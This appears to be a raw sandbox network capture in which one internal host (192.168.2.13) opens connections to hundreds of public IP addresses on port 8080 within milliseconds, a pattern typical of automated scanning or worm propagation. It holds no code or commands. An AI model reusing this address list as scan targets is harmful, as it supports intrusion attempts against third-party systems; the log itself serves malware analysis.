Jan 26, 2025 01:43:32.035646915 CET	47566	8080	192.168.2.13	85.253.103.208
Jan 26, 2025 01:43:32.035653114 CET	47566	8080	192.168.2.13	95.197.241.64
Jan 26, 2025 01:43:32.035654068 CET	47566	8080	192.168.2.13	62.151.88.58
Jan 26, 2025 01:43:32.035656929 CET	47566	8080	192.168.2.13	94.192.4.11
Jan 26, 2025 01:43:32.035656929 CET	47566	8080	192.168.2.13	94.121.213.252
Jan 26, 2025 01:43:32.035672903 CET	47566	8080	192.168.2.13	62.30.194.80
Jan 26, 2025 01:43:32.035675049 CET	47566	8080	192.168.2.13	85.196.112.31
Jan 26, 2025 01:43:32.035675049 CET	47566	8080	192.168.2.13	94.2.224.35
Jan 26, 2025 01:43:32.035676956 CET	47566	8080	192.168.2.13	85.181.167.80
Jan 26, 2025 01:43:32.035679102 CET	47566	8080	192.168.2.13	94.90.247.39
Jan 26, 2025 01:43:32.035682917 CET	47566	8080	192.168.2.13	62.93.51.91
Jan 26, 2025 01:43:32.035686016 CET	47566	8080	192.168.2.13	95.45.4.241
Jan 26, 2025 01:43:32.035691977 CET	47566	8080	192.168.2.13	85.120.147.49
Jan 26, 2025 01:43:32.035701036 CET	47566	8080	192.168.2.13	85.228.159.15
Jan 26, 2025 01:43:32.035701990 CET	47566	8080	192.168.2.13	62.7.114.163
Jan 26, 2025 01:43:32.035715103 CET	47566	8080	192.168.2.13	94.61.120.223
Jan 26, 2025 01:43:32.035716057 CET	47566	8080	192.168.2.13	85.178.183.39
Jan 26, 2025 01:43:32.035727024 CET	47566	8080	192.168.2.13	94.195.110.182
Jan 26, 2025 01:43:32.035727978 CET	47566	8080	192.168.2.13	31.43.65.151
Jan 26, 2025 01:43:32.035728931 CET	47566	8080	192.168.2.13	85.59.56.67
Jan 26, 2025 01:43:32.035737991 CET	47566	8080	192.168.2.13	31.239.178.27
Jan 26, 2025 01:43:32.035742998 CET	47566	8080	192.168.2.13	62.40.235.237
Jan 26, 2025 01:43:32.035743952 CET	47566	8080	192.168.2.13	95.217.71.145
Jan 26, 2025 01:43:32.035746098 CET	47566	8080	192.168.2.13	62.18.145.151
Jan 26, 2025 01:43:32.035748005 CET	47566	8080	192.168.2.13	62.181.227.115
Jan 26, 2025 01:43:32.035759926 CET	47566	8080	192.168.2.13	85.81.24.194
Jan 26, 2025 01:43:32.035763025 CET	47566	8080	192.168.2.13	95.229.150.227
Jan 26, 2025 01:43:32.035763979 CET	47566	8080	192.168.2.13	85.140.187.162
Jan 26, 2025 01:43:32.035763979 CET	47566	8080	192.168.2.13	31.67.204.34
Jan 26, 2025 01:43:32.035768986 CET	47566	8080	192.168.2.13	94.76.157.207
Jan 26, 2025 01:43:32.035773039 CET	47566	8080	192.168.2.13	85.87.117.96
Jan 26, 2025 01:43:32.035779953 CET	47566	8080	192.168.2.13	62.16.196.32
Jan 26, 2025 01:43:32.035785913 CET	47566	8080	192.168.2.13	31.190.208.49
Jan 26, 2025 01:43:32.035795927 CET	47566	8080	192.168.2.13	31.225.186.219
Jan 26, 2025 01:43:32.035798073 CET	47566	8080	192.168.2.13	62.233.20.90
Jan 26, 2025 01:43:32.035805941 CET	47566	8080	192.168.2.13	31.71.180.212
Jan 26, 2025 01:43:32.035810947 CET	47566	8080	192.168.2.13	62.133.41.227
Jan 26, 2025 01:43:32.035813093 CET	47566	8080	192.168.2.13	31.141.4.231
Jan 26, 2025 01:43:32.035813093 CET	47566	8080	192.168.2.13	95.225.118.176
Jan 26, 2025 01:43:32.035814047 CET	47566	8080	192.168.2.13	62.196.2.88
Jan 26, 2025 01:43:32.035820007 CET	47566	8080	192.168.2.13	62.41.252.242
Jan 26, 2025 01:43:32.035824060 CET	47566	8080	192.168.2.13	95.8.13.192
Jan 26, 2025 01:43:32.035825968 CET	47566	8080	192.168.2.13	94.66.53.32
Jan 26, 2025 01:43:32.035835981 CET	47566	8080	192.168.2.13	31.201.230.223
Jan 26, 2025 01:43:32.035846949 CET	47566	8080	192.168.2.13	62.24.75.134
Jan 26, 2025 01:43:32.035847902 CET	47566	8080	192.168.2.13	85.146.60.87
Jan 26, 2025 01:43:32.035847902 CET	47566	8080	192.168.2.13	62.88.12.117
Jan 26, 2025 01:43:32.035864115 CET	47566	8080	192.168.2.13	95.194.46.250
Jan 26, 2025 01:43:32.035864115 CET	47566	8080	192.168.2.13	62.107.117.72
Jan 26, 2025 01:43:32.035866976 CET	47566	8080	192.168.2.13	95.250.116.233
Jan 26, 2025 01:43:32.035866976 CET	47566	8080	192.168.2.13	62.207.135.173
Jan 26, 2025 01:43:32.035873890 CET	47566	8080	192.168.2.13	94.2.228.32
Jan 26, 2025 01:43:32.035877943 CET	47566	8080	192.168.2.13	62.150.167.106
Jan 26, 2025 01:43:32.035890102 CET	47566	8080	192.168.2.13	62.132.232.237
Jan 26, 2025 01:43:32.035890102 CET	47566	8080	192.168.2.13	94.32.67.174
Jan 26, 2025 01:43:32.035895109 CET	47566	8080	192.168.2.13	85.241.75.209
Jan 26, 2025 01:43:32.035895109 CET	47566	8080	192.168.2.13	62.236.233.252
Jan 26, 2025 01:43:32.035895109 CET	47566	8080	192.168.2.13	31.174.176.63
Jan 26, 2025 01:43:32.035909891 CET	47566	8080	192.168.2.13	94.208.165.32
Jan 26, 2025 01:43:32.035909891 CET	47566	8080	192.168.2.13	94.147.207.149
Jan 26, 2025 01:43:32.035919905 CET	47566	8080	192.168.2.13	62.226.52.231
Jan 26, 2025 01:43:32.035919905 CET	47566	8080	192.168.2.13	94.118.200.97
Jan 26, 2025 01:43:32.035919905 CET	47566	8080	192.168.2.13	85.147.156.58
Jan 26, 2025 01:43:32.035919905 CET	47566	8080	192.168.2.13	95.158.81.0
Jan 26, 2025 01:43:32.035921097 CET	47566	8080	192.168.2.13	95.27.51.211
Jan 26, 2025 01:43:32.035922050 CET	47566	8080	192.168.2.13	31.135.93.31
Jan 26, 2025 01:43:32.035922050 CET	47566	8080	192.168.2.13	31.4.94.77
Jan 26, 2025 01:43:32.035928965 CET	47566	8080	192.168.2.13	95.154.103.151
Jan 26, 2025 01:43:32.035933018 CET	47566	8080	192.168.2.13	95.208.88.169
Jan 26, 2025 01:43:32.035954952 CET	47566	8080	192.168.2.13	62.206.233.140
Jan 26, 2025 01:43:32.035955906 CET	47566	8080	192.168.2.13	62.88.188.193
Jan 26, 2025 01:43:32.035954952 CET	47566	8080	192.168.2.13	62.220.14.80
Jan 26, 2025 01:43:32.035955906 CET	47566	8080	192.168.2.13	62.204.199.145
Jan 26, 2025 01:43:32.035962105 CET	47566	8080	192.168.2.13	95.205.249.174
Jan 26, 2025 01:43:32.035969019 CET	47566	8080	192.168.2.13	85.104.157.56
Jan 26, 2025 01:43:32.035969019 CET	47566	8080	192.168.2.13	94.215.70.240
Jan 26, 2025 01:43:32.035974979 CET	47566	8080	192.168.2.13	62.181.247.110
Jan 26, 2025 01:43:32.035980940 CET	47566	8080	192.168.2.13	62.222.221.211
Jan 26, 2025 01:43:32.035990953 CET	47566	8080	192.168.2.13	95.56.229.93
Jan 26, 2025 01:43:32.035990953 CET	47566	8080	192.168.2.13	31.30.1.107
Jan 26, 2025 01:43:32.035995960 CET	47566	8080	192.168.2.13	62.1.23.223
Jan 26, 2025 01:43:32.035999060 CET	47566	8080	192.168.2.13	85.183.76.177
Jan 26, 2025 01:43:32.036000967 CET	47566	8080	192.168.2.13	85.250.99.40
Jan 26, 2025 01:43:32.036014080 CET	47566	8080	192.168.2.13	94.123.122.148
Jan 26, 2025 01:43:32.036015034 CET	47566	8080	192.168.2.13	31.9.193.246
Jan 26, 2025 01:43:32.036017895 CET	47566	8080	192.168.2.13	94.164.24.175
Jan 26, 2025 01:43:32.036019087 CET	47566	8080	192.168.2.13	95.100.115.88
Jan 26, 2025 01:43:32.036020994 CET	47566	8080	192.168.2.13	94.121.7.224
Jan 26, 2025 01:43:32.036026001 CET	47566	8080	192.168.2.13	31.209.34.217
Jan 26, 2025 01:43:32.036026955 CET	47566	8080	192.168.2.13	31.152.130.147
Jan 26, 2025 01:43:32.036027908 CET	47566	8080	192.168.2.13	95.209.82.21
Jan 26, 2025 01:43:32.036039114 CET	47566	8080	192.168.2.13	94.15.201.72
Jan 26, 2025 01:43:32.036050081 CET	47566	8080	192.168.2.13	95.67.123.60
Jan 26, 2025 01:43:32.036051035 CET	47566	8080	192.168.2.13	31.57.227.201
Jan 26, 2025 01:43:32.036051035 CET	47566	8080	192.168.2.13	94.13.189.85
Jan 26, 2025 01:43:32.036053896 CET	47566	8080	192.168.2.13	94.127.157.39
Jan 26, 2025 01:43:32.036056042 CET	47566	8080	192.168.2.13	95.41.234.254
Jan 26, 2025 01:43:32.036070108 CET	47566	8080	192.168.2.13	31.145.141.235
Jan 26, 2025 01:43:32.036072016 CET	47566	8080	192.168.2.13	62.32.130.239
Jan 26, 2025 01:43:32.036072969 CET	47566	8080	192.168.2.13	95.109.145.50
Jan 26, 2025 01:43:32.036073923 CET	47566	8080	192.168.2.13	85.117.77.217
Jan 26, 2025 01:43:32.036075115 CET	47566	8080	192.168.2.13	95.199.76.132
Jan 26, 2025 01:43:32.036084890 CET	47566	8080	192.168.2.13	31.216.192.10
Jan 26, 2025 01:43:32.036092043 CET	47566	8080	192.168.2.13	85.91.133.180
Jan 26, 2025 01:43:32.036098957 CET	47566	8080	192.168.2.13	62.4.217.22
Jan 26, 2025 01:43:32.036098957 CET	47566	8080	192.168.2.13	62.159.148.236
Jan 26, 2025 01:43:32.036099911 CET	47566	8080	192.168.2.13	31.102.50.243
Jan 26, 2025 01:43:32.036099911 CET	47566	8080	192.168.2.13	31.19.70.96
Jan 26, 2025 01:43:32.036099911 CET	47566	8080	192.168.2.13	31.116.16.180
Jan 26, 2025 01:43:32.036115885 CET	47566	8080	192.168.2.13	31.66.176.198
Jan 26, 2025 01:43:32.036118984 CET	47566	8080	192.168.2.13	95.141.220.158
Jan 26, 2025 01:43:32.036128044 CET	47566	8080	192.168.2.13	31.240.108.22
Jan 26, 2025 01:43:32.036128044 CET	47566	8080	192.168.2.13	62.144.34.54
Jan 26, 2025 01:43:32.036129951 CET	47566	8080	192.168.2.13	94.92.250.210
Jan 26, 2025 01:43:32.036129951 CET	47566	8080	192.168.2.13	62.224.48.25
Jan 26, 2025 01:43:32.036142111 CET	47566	8080	192.168.2.13	95.101.171.126
Jan 26, 2025 01:43:32.036142111 CET	47566	8080	192.168.2.13	95.171.10.100
Jan 26, 2025 01:43:32.036149025 CET	47566	8080	192.168.2.13	31.103.225.82
Jan 26, 2025 01:43:32.036158085 CET	47566	8080	192.168.2.13	95.209.79.165
Jan 26, 2025 01:43:32.036158085 CET	47566	8080	192.168.2.13	85.175.235.154
Jan 26, 2025 01:43:32.036165953 CET	47566	8080	192.168.2.13	94.152.191.149
Jan 26, 2025 01:43:32.036170006 CET	47566	8080	192.168.2.13	85.82.248.245
Jan 26, 2025 01:43:32.036176920 CET	47566	8080	192.168.2.13	95.89.191.59
Jan 26, 2025 01:43:32.036181927 CET	47566	8080	192.168.2.13	85.140.128.43
Jan 26, 2025 01:43:32.036185026 CET	47566	8080	192.168.2.13	31.82.235.121
Jan 26, 2025 01:43:32.036187887 CET	47566	8080	192.168.2.13	62.141.52.148
Jan 26, 2025 01:43:32.036214113 CET	47566	8080	192.168.2.13	95.216.107.75
Jan 26, 2025 01:43:32.036216974 CET	47566	8080	192.168.2.13	31.157.60.128
Jan 26, 2025 01:43:32.036216974 CET	47566	8080	192.168.2.13	62.149.189.163
Jan 26, 2025 01:43:32.036221981 CET	47566	8080	192.168.2.13	94.120.45.20
Jan 26, 2025 01:43:32.036221981 CET	47566	8080	192.168.2.13	85.154.102.115
Jan 26, 2025 01:43:32.036221027 CET	47566	8080	192.168.2.13	95.27.140.188
Jan 26, 2025 01:43:32.036230087 CET	47566	8080	192.168.2.13	95.28.172.104
Jan 26, 2025 01:43:32.036232948 CET	47566	8080	192.168.2.13	85.151.137.108
Jan 26, 2025 01:43:32.036232948 CET	47566	8080	192.168.2.13	31.130.152.218
Jan 26, 2025 01:43:32.036232948 CET	47566	8080	192.168.2.13	95.114.120.196
Jan 26, 2025 01:43:32.036247969 CET	47566	8080	192.168.2.13	62.127.146.216
Jan 26, 2025 01:43:32.036248922 CET	47566	8080	192.168.2.13	94.120.2.101
Jan 26, 2025 01:43:32.036250114 CET	47566	8080	192.168.2.13	85.41.37.80
Jan 26, 2025 01:43:32.036251068 CET	47566	8080	192.168.2.13	85.10.114.250
Jan 26, 2025 01:43:32.036251068 CET	47566	8080	192.168.2.13	85.153.93.54
Jan 26, 2025 01:43:32.036263943 CET	47566	8080	192.168.2.13	31.10.207.204
Jan 26, 2025 01:43:32.036263943 CET	47566	8080	192.168.2.13	94.203.246.165
Jan 26, 2025 01:43:32.036267996 CET	47566	8080	192.168.2.13	94.10.48.206
Jan 26, 2025 01:43:32.036273003 CET	47566	8080	192.168.2.13	94.96.235.48
Jan 26, 2025 01:43:32.036273003 CET	47566	8080	192.168.2.13	94.211.217.87
Jan 26, 2025 01:43:32.036289930 CET	47566	8080	192.168.2.13	31.126.36.120
Jan 26, 2025 01:43:32.036290884 CET	47566	8080	192.168.2.13	95.157.49.75
Jan 26, 2025 01:43:32.036290884 CET	47566	8080	192.168.2.13	62.155.16.2
Jan 26, 2025 01:43:32.036300898 CET	47566	8080	192.168.2.13	62.56.162.29
Jan 26, 2025 01:43:32.036302090 CET	47566	8080	192.168.2.13	85.99.99.32
Jan 26, 2025 01:43:32.036309958 CET	47566	8080	192.168.2.13	94.73.28.78
Jan 26, 2025 01:43:32.036318064 CET	47566	8080	192.168.2.13	85.143.106.213
Jan 26, 2025 01:43:32.036318064 CET	47566	8080	192.168.2.13	85.129.31.64
Jan 26, 2025 01:43:32.036319017 CET	47566	8080	192.168.2.13	95.230.71.26
Jan 26, 2025 01:43:32.036329031 CET	47566	8080	192.168.2.13	31.122.169.243
Jan 26, 2025 01:43:32.036329031 CET	47566	8080	192.168.2.13	85.235.182.173
Jan 26, 2025 01:43:32.036331892 CET	47566	8080	192.168.2.13	95.79.53.141
Jan 26, 2025 01:43:32.036331892 CET	47566	8080	192.168.2.13	31.79.119.82
Jan 26, 2025 01:43:32.036334991 CET	47566	8080	192.168.2.13	62.198.156.88
Jan 26, 2025 01:43:32.036354065 CET	47566	8080	192.168.2.13	62.79.153.52
Jan 26, 2025 01:43:32.036354065 CET	47566	8080	192.168.2.13	94.178.129.216
Jan 26, 2025 01:43:32.036355019 CET	47566	8080	192.168.2.13	31.199.203.223
Jan 26, 2025 01:43:32.036356926 CET	47566	8080	192.168.2.13	95.67.206.225
Jan 26, 2025 01:43:32.036356926 CET	47566	8080	192.168.2.13	95.203.219.214
Jan 26, 2025 01:43:32.036356926 CET	47566	8080	192.168.2.13	31.202.75.253
Jan 26, 2025 01:43:32.036374092 CET	47566	8080	192.168.2.13	62.174.131.39
Jan 26, 2025 01:43:32.036374092 CET	47566	8080	192.168.2.13	31.125.149.107
Jan 26, 2025 01:43:32.036381006 CET	47566	8080	192.168.2.13	31.1.129.98
Jan 26, 2025 01:43:32.036385059 CET	47566	8080	192.168.2.13	85.125.39.56
Jan 26, 2025 01:43:32.036392927 CET	47566	8080	192.168.2.13	62.170.41.47
Jan 26, 2025 01:43:32.036393881 CET	47566	8080	192.168.2.13	85.56.84.28
Jan 26, 2025 01:43:32.036395073 CET	47566	8080	192.168.2.13	85.10.206.6
Jan 26, 2025 01:43:32.036401987 CET	47566	8080	192.168.2.13	62.133.108.109
Jan 26, 2025 01:43:32.036402941 CET	47566	8080	192.168.2.13	62.144.148.90
Jan 26, 2025 01:43:32.036402941 CET	47566	8080	192.168.2.13	85.108.103.149
Jan 26, 2025 01:43:32.036420107 CET	47566	8080	192.168.2.13	85.35.76.222
Jan 26, 2025 01:43:32.036420107 CET	47566	8080	192.168.2.13	85.188.115.99
Jan 26, 2025 01:43:32.036422968 CET	47566	8080	192.168.2.13	85.89.1.79
Jan 26, 2025 01:43:32.036422968 CET	47566	8080	192.168.2.13	94.74.65.141
Jan 26, 2025 01:43:32.036432028 CET	47566	8080	192.168.2.13	62.203.136.186
Jan 26, 2025 01:43:32.036432028 CET	47566	8080	192.168.2.13	94.176.249.119
Jan 26, 2025 01:43:32.036439896 CET	47566	8080	192.168.2.13	94.36.38.187
Jan 26, 2025 01:43:32.036448002 CET	47566	8080	192.168.2.13	95.160.2.95
Jan 26, 2025 01:43:32.036453009 CET	47566	8080	192.168.2.13	31.205.58.227
Jan 26, 2025 01:43:32.036453962 CET	47566	8080	192.168.2.13	31.2.243.201
Jan 26, 2025 01:43:32.036456108 CET	47566	8080	192.168.2.13	95.59.27.244
Jan 26, 2025 01:43:32.036462069 CET	47566	8080	192.168.2.13	31.72.33.239
Jan 26, 2025 01:43:32.036463976 CET	47566	8080	192.168.2.13	95.46.120.0
Jan 26, 2025 01:43:32.036472082 CET	47566	8080	192.168.2.13	31.0.15.26
Jan 26, 2025 01:43:32.036482096 CET	47566	8080	192.168.2.13	62.186.119.222
Jan 26, 2025 01:43:32.036488056 CET	47566	8080	192.168.2.13	62.94.227.130
Jan 26, 2025 01:43:32.036488056 CET	47566	8080	192.168.2.13	85.29.156.11
Jan 26, 2025 01:43:32.036498070 CET	47566	8080	192.168.2.13	62.169.215.77
Jan 26, 2025 01:43:32.036499023 CET	47566	8080	192.168.2.13	62.54.155.104
Jan 26, 2025 01:43:32.036504984 CET	47566	8080	192.168.2.13	62.154.201.148
Jan 26, 2025 01:43:32.036513090 CET	47566	8080	192.168.2.13	94.237.175.91
Jan 26, 2025 01:43:32.036514997 CET	47566	8080	192.168.2.13	31.222.235.138
Jan 26, 2025 01:43:32.036516905 CET	47566	8080	192.168.2.13	85.229.239.168
Jan 26, 2025 01:43:32.036525011 CET	47566	8080	192.168.2.13	62.114.216.230
Jan 26, 2025 01:43:32.036525011 CET	47566	8080	192.168.2.13	62.25.172.156
Jan 26, 2025 01:43:32.036526918 CET	47566	8080	192.168.2.13	31.109.152.190
Jan 26, 2025 01:43:32.036528111 CET	47566	8080	192.168.2.13	94.131.133.139
Jan 26, 2025 01:43:32.036531925 CET	47566	8080	192.168.2.13	95.103.69.196
Jan 26, 2025 01:43:32.036539078 CET	47566	8080	192.168.2.13	31.197.83.143
Jan 26, 2025 01:43:32.036539078 CET	47566	8080	192.168.2.13	31.208.29.244
Jan 26, 2025 01:43:32.036542892 CET	47566	8080	192.168.2.13	85.206.175.43
Jan 26, 2025 01:43:32.036549091 CET	47566	8080	192.168.2.13	85.234.82.51
Jan 26, 2025 01:43:32.036550999 CET	47566	8080	192.168.2.13	95.79.42.219
Jan 26, 2025 01:43:32.036560059 CET	47566	8080	192.168.2.13	62.110.56.52
Jan 26, 2025 01:43:32.036569118 CET	47566	8080	192.168.2.13	85.9.60.172
Jan 26, 2025 01:43:32.036576033 CET	47566	8080	192.168.2.13	85.167.230.202
Jan 26, 2025 01:43:32.036576033 CET	47566	8080	192.168.2.13	31.88.70.194
Jan 26, 2025 01:43:32.036580086 CET	47566	8080	192.168.2.13	31.141.132.142
Jan 26, 2025 01:43:32.036581039 CET	47566	8080	192.168.2.13	85.171.27.64
Jan 26, 2025 01:43:32.036590099 CET	47566	8080	192.168.2.13	62.9.89.92
Jan 26, 2025 01:43:32.036591053 CET	47566	8080	192.168.2.13	31.142.192.28
Jan 26, 2025 01:43:32.036592007 CET	47566	8080	192.168.2.13	85.67.62.171
Jan 26, 2025 01:43:32.036606073 CET	47566	8080	192.168.2.13	95.92.232.250
Jan 26, 2025 01:43:32.036607981 CET	47566	8080	192.168.2.13	31.193.145.181
Jan 26, 2025 01:43:32.036609888 CET	47566	8080	192.168.2.13	62.5.59.100
Jan 26, 2025 01:43:32.036608934 CET	47566	8080	192.168.2.13	62.166.99.59
Jan 26, 2025 01:43:32.036612988 CET	47566	8080	192.168.2.13	94.220.192.215
Jan 26, 2025 01:43:32.036617994 CET	47566	8080	192.168.2.13	31.224.45.30
Jan 26, 2025 01:43:32.036628962 CET	47566	8080	192.168.2.13	85.37.98.72
Jan 26, 2025 01:43:32.036629915 CET	47566	8080	192.168.2.13	62.85.234.56
Jan 26, 2025 01:43:32.036629915 CET	47566	8080	192.168.2.13	31.222.2.12
Jan 26, 2025 01:43:32.036629915 CET	47566	8080	192.168.2.13	31.215.123.232
Jan 26, 2025 01:43:32.036636114 CET	47566	8080	192.168.2.13	62.146.33.202
Jan 26, 2025 01:43:32.036648035 CET	47566	8080	192.168.2.13	95.26.253.100
Jan 26, 2025 01:43:32.036648989 CET	47566	8080	192.168.2.13	62.174.6.142
Jan 26, 2025 01:43:32.036657095 CET	47566	8080	192.168.2.13	94.141.200.201
Jan 26, 2025 01:43:32.036669016 CET	47566	8080	192.168.2.13	62.89.62.154
Jan 26, 2025 01:43:32.036669016 CET	47566	8080	192.168.2.13	62.164.17.101
Jan 26, 2025 01:43:32.036669970 CET	47566	8080	192.168.2.13	62.211.91.248
Jan 26, 2025 01:43:32.036669016 CET	47566	8080	192.168.2.13	85.211.127.159
Jan 26, 2025 01:43:32.036669970 CET	47566	8080	192.168.2.13	94.44.86.43
Jan 26, 2025 01:43:32.036683083 CET	47566	8080	192.168.2.13	94.171.184.152
Jan 26, 2025 01:43:32.036688089 CET	47566	8080	192.168.2.13	94.98.236.143
Jan 26, 2025 01:43:32.036689043 CET	47566	8080	192.168.2.13	95.13.221.82
Jan 26, 2025 01:43:32.036694050 CET	47566	8080	192.168.2.13	31.221.62.86
Jan 26, 2025 01:43:32.036704063 CET	47566	8080	192.168.2.13	85.20.52.74
Jan 26, 2025 01:43:32.036705017 CET	47566	8080	192.168.2.13	94.206.141.249
Jan 26, 2025 01:43:32.036708117 CET	47566	8080	192.168.2.13	62.225.63.166
Jan 26, 2025 01:43:32.036721945 CET	47566	8080	192.168.2.13	62.129.173.181
Jan 26, 2025 01:43:32.036725044 CET	47566	8080	192.168.2.13	94.150.145.123
Jan 26, 2025 01:43:32.036740065 CET	47566	8080	192.168.2.13	62.95.62.67
Jan 26, 2025 01:43:32.036741972 CET	47566	8080	192.168.2.13	94.97.184.133
Jan 26, 2025 01:43:32.036741972 CET	47566	8080	192.168.2.13	31.119.124.96
Jan 26, 2025 01:43:32.036741972 CET	47566	8080	192.168.2.13	31.89.97.147
Jan 26, 2025 01:43:32.036752939 CET	47566	8080	192.168.2.13	94.113.174.64
Jan 26, 2025 01:43:32.036752939 CET	47566	8080	192.168.2.13	85.250.74.74
Jan 26, 2025 01:43:32.036761045 CET	47566	8080	192.168.2.13	62.123.59.215
Jan 26, 2025 01:43:32.036761045 CET	47566	8080	192.168.2.13	62.13.158.92
Jan 26, 2025 01:43:32.036762953 CET	47566	8080	192.168.2.13	85.95.160.9
Jan 26, 2025 01:43:32.036767006 CET	47566	8080	192.168.2.13	94.41.66.107
Jan 26, 2025 01:43:32.036767960 CET	47566	8080	192.168.2.13	94.191.233.153
Jan 26, 2025 01:43:32.036767960 CET	47566	8080	192.168.2.13	95.89.8.220
Jan 26, 2025 01:43:32.036784887 CET	47566	8080	192.168.2.13	85.141.126.47
Jan 26, 2025 01:43:32.036784887 CET	47566	8080	192.168.2.13	85.82.153.8
Jan 26, 2025 01:43:32.036787033 CET	47566	8080	192.168.2.13	31.149.91.150
Jan 26, 2025 01:43:32.036787987 CET	47566	8080	192.168.2.13	62.187.42.204
Jan 26, 2025 01:43:32.036791086 CET	47566	8080	192.168.2.13	94.4.158.244
Jan 26, 2025 01:43:32.036797047 CET	47566	8080	192.168.2.13	62.93.56.192
Jan 26, 2025 01:43:32.036801100 CET	47566	8080	192.168.2.13	94.56.205.103
Jan 26, 2025 01:43:32.036802053 CET	47566	8080	192.168.2.13	31.165.160.29
Jan 26, 2025 01:43:32.036802053 CET	47566	8080	192.168.2.13	31.157.171.134
Jan 26, 2025 01:43:32.036817074 CET	47566	8080	192.168.2.13	31.110.116.215
Jan 26, 2025 01:43:32.036817074 CET	47566	8080	192.168.2.13	31.48.144.203
Jan 26, 2025 01:43:32.036824942 CET	47566	8080	192.168.2.13	31.95.175.36
Jan 26, 2025 01:43:32.036827087 CET	47566	8080	192.168.2.13	85.192.140.11
Jan 26, 2025 01:43:32.036828041 CET	47566	8080	192.168.2.13	94.174.6.226
Jan 26, 2025 01:43:32.036828041 CET	47566	8080	192.168.2.13	62.221.237.0
Jan 26, 2025 01:43:32.036839962 CET	47566	8080	192.168.2.13	94.246.70.176
Jan 26, 2025 01:43:32.036844969 CET	47566	8080	192.168.2.13	62.166.36.90
Jan 26, 2025 01:43:32.036847115 CET	47566	8080	192.168.2.13	94.237.231.71
Jan 26, 2025 01:43:32.036847115 CET	47566	8080	192.168.2.13	31.87.110.43
Jan 26, 2025 01:43:32.036861897 CET	47566	8080	192.168.2.13	94.30.202.51
Jan 26, 2025 01:43:32.036861897 CET	47566	8080	192.168.2.13	31.38.58.240
Jan 26, 2025 01:43:32.036864042 CET	47566	8080	192.168.2.13	85.3.8.235
Jan 26, 2025 01:43:32.036873102 CET	47566	8080	192.168.2.13	85.141.202.227
Jan 26, 2025 01:43:32.036874056 CET	47566	8080	192.168.2.13	85.226.74.253
Jan 26, 2025 01:43:32.036885023 CET	47566	8080	192.168.2.13	94.196.189.243
Jan 26, 2025 01:43:32.036890030 CET	47566	8080	192.168.2.13	85.66.123.153
Jan 26, 2025 01:43:32.036890030 CET	47566	8080	192.168.2.13	94.138.100.197
Jan 26, 2025 01:43:32.036890984 CET	47566	8080	192.168.2.13	95.18.165.241
Jan 26, 2025 01:43:32.036900997 CET	47566	8080	192.168.2.13	31.144.195.232
Jan 26, 2025 01:43:32.036909103 CET	47566	8080	192.168.2.13	94.88.126.193
Jan 26, 2025 01:43:32.036909103 CET	47566	8080	192.168.2.13	95.71.167.160
Jan 26, 2025 01:43:32.036911011 CET	47566	8080	192.168.2.13	85.150.218.131
Jan 26, 2025 01:43:32.036911011 CET	47566	8080	192.168.2.13	85.241.249.166
Jan 26, 2025 01:43:32.036911964 CET	47566	8080	192.168.2.13	85.68.46.16
Jan 26, 2025 01:43:32.036920071 CET	47566	8080	192.168.2.13	94.245.64.248
Jan 26, 2025 01:43:32.036921978 CET	47566	8080	192.168.2.13	94.4.70.6
Jan 26, 2025 01:43:32.036921978 CET	47566	8080	192.168.2.13	85.51.248.2
Jan 26, 2025 01:43:32.036931038 CET	47566	8080	192.168.2.13	95.7.87.177
Jan 26, 2025 01:43:32.036931038 CET	47566	8080	192.168.2.13	31.105.251.72
Jan 26, 2025 01:43:32.036933899 CET	47566	8080	192.168.2.13	31.83.214.223
Jan 26, 2025 01:43:32.036940098 CET	47566	8080	192.168.2.13	94.240.139.244
Jan 26, 2025 01:43:32.036940098 CET	47566	8080	192.168.2.13	62.9.80.245
Jan 26, 2025 01:43:32.036942959 CET	47566	8080	192.168.2.13	31.135.17.75
Jan 26, 2025 01:43:32.036957979 CET	47566	8080	192.168.2.13	62.3.53.13
Jan 26, 2025 01:43:32.036957979 CET	47566	8080	192.168.2.13	95.64.139.27
Jan 26, 2025 01:43:32.036962032 CET	47566	8080	192.168.2.13	62.217.74.184
Jan 26, 2025 01:43:32.036978006 CET	47566	8080	192.168.2.13	31.206.52.238
Jan 26, 2025 01:43:32.036978006 CET	47566	8080	192.168.2.13	95.89.214.126
Jan 26, 2025 01:43:32.036978960 CET	47566	8080	192.168.2.13	31.72.76.10
Jan 26, 2025 01:43:32.036978006 CET	47566	8080	192.168.2.13	62.40.44.104
Jan 26, 2025 01:43:32.036982059 CET	47566	8080	192.168.2.13	94.45.52.24
Jan 26, 2025 01:43:32.036986113 CET	47566	8080	192.168.2.13	31.198.68.159
Jan 26, 2025 01:43:32.036986113 CET	47566	8080	192.168.2.13	85.139.38.5
Jan 26, 2025 01:43:32.036995888 CET	47566	8080	192.168.2.13	62.149.136.243
Jan 26, 2025 01:43:32.036998034 CET	47566	8080	192.168.2.13	62.186.241.225
Jan 26, 2025 01:43:32.036998034 CET	47566	8080	192.168.2.13	95.54.191.82
Jan 26, 2025 01:43:32.037005901 CET	47566	8080	192.168.2.13	62.26.2.98
Jan 26, 2025 01:43:32.037008047 CET	47566	8080	192.168.2.13	95.176.48.243
Jan 26, 2025 01:43:32.037005901 CET	47566	8080	192.168.2.13	62.188.37.130
Jan 26, 2025 01:43:32.037009001 CET	47566	8080	192.168.2.13	62.56.120.224
Jan 26, 2025 01:43:32.037023067 CET	47566	8080	192.168.2.13	95.229.117.110
Jan 26, 2025 01:43:32.037023067 CET	47566	8080	192.168.2.13	94.145.132.8
Jan 26, 2025 01:43:32.037034988 CET	47566	8080	192.168.2.13	95.174.186.164
Jan 26, 2025 01:43:32.037039995 CET	47566	8080	192.168.2.13	31.1.176.151
Jan 26, 2025 01:43:32.037045002 CET	47566	8080	192.168.2.13	62.243.176.153
Jan 26, 2025 01:43:32.037046909 CET	47566	8080	192.168.2.13	95.207.172.254
Jan 26, 2025 01:43:32.037046909 CET	47566	8080	192.168.2.13	94.81.68.58
Jan 26, 2025 01:43:32.037049055 CET	47566	8080	192.168.2.13	31.187.12.119
Jan 26, 2025 01:43:32.037049055 CET	47566	8080	192.168.2.13	31.199.26.241
Jan 26, 2025 01:43:32.037059069 CET	47566	8080	192.168.2.13	95.173.185.81
Jan 26, 2025 01:43:32.037049055 CET	47566	8080	192.168.2.13	62.1.199.95
Jan 26, 2025 01:43:32.037060976 CET	47566	8080	192.168.2.13	94.108.57.234
Jan 26, 2025 01:43:32.037062883 CET	47566	8080	192.168.2.13	31.150.23.100
Jan 26, 2025 01:43:32.037062883 CET	47566	8080	192.168.2.13	31.240.242.111
Jan 26, 2025 01:43:32.037082911 CET	47566	8080	192.168.2.13	95.28.133.85
